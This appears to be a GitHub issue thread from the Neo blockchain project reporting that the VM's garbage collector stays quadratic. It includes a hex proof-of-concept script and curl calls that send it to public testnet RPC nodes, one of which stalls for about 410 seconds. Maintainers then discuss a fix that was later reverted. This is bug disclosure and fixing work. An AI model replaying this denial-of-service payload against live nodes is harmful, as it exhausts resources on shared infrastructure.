Even All The Size is Limited to 2048, GC is Still O(n^2)

[vang1ong7ang]

Related to #2521, #2528, and #2530

details: lazynode/Tanya#5 and lazynode/Tanya#6

---

PoC

56010c0240014a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b01f8
0f8d0c0240008b11c001000460589d604a1f0c0b646573657269616c697a
650c14c0ef39cee0e4e925c6c2a06a79e1440dd86fceac41627d5b524558
24d149

---

TEST IT WITH #2531 and neo-project/neo-vm#416 APPLIED

[dusmart]

410 seconds and 15 gas on the official C# node
very fast on the neo-go node (no GC issue)

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ"] }' http://seed4t.neo.org:20332 |
 json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   436    0   241    0   195      0      0 --:--:--  0:04:50 --:--:--    51
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "exception" : null,
      "gasconsumed" : "1511856330",
      "script" : "VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ",
      "stack" : [],
      "state" : "HALT"
   }
}
➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ"] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   420  100   225  100   195     91     79  0:00:02  0:00:02 --:--:--   171
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "gasconsumed" : "1511856330",
      "script" : "VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ",
      "stack" : [],
      "state" : "HALT"
   }
}

[shargon]

Could you check neo-project/neo-vm@ef740f6 ?

[vang1ong7ang]

@shargon , it is much better but theoretically it is still O(n^2) (data is still traversed)

[vang1ong7ang]

@shargon is neo-project/neo-vm@ef740f6 really works? or i'm missing something?

[vang1ong7ang]

I'm afraid that neo-project/neo-vm@ef740f6 implements the GC in a wrong way 🌚

[shargon]

@vang1ong7ang it was reverted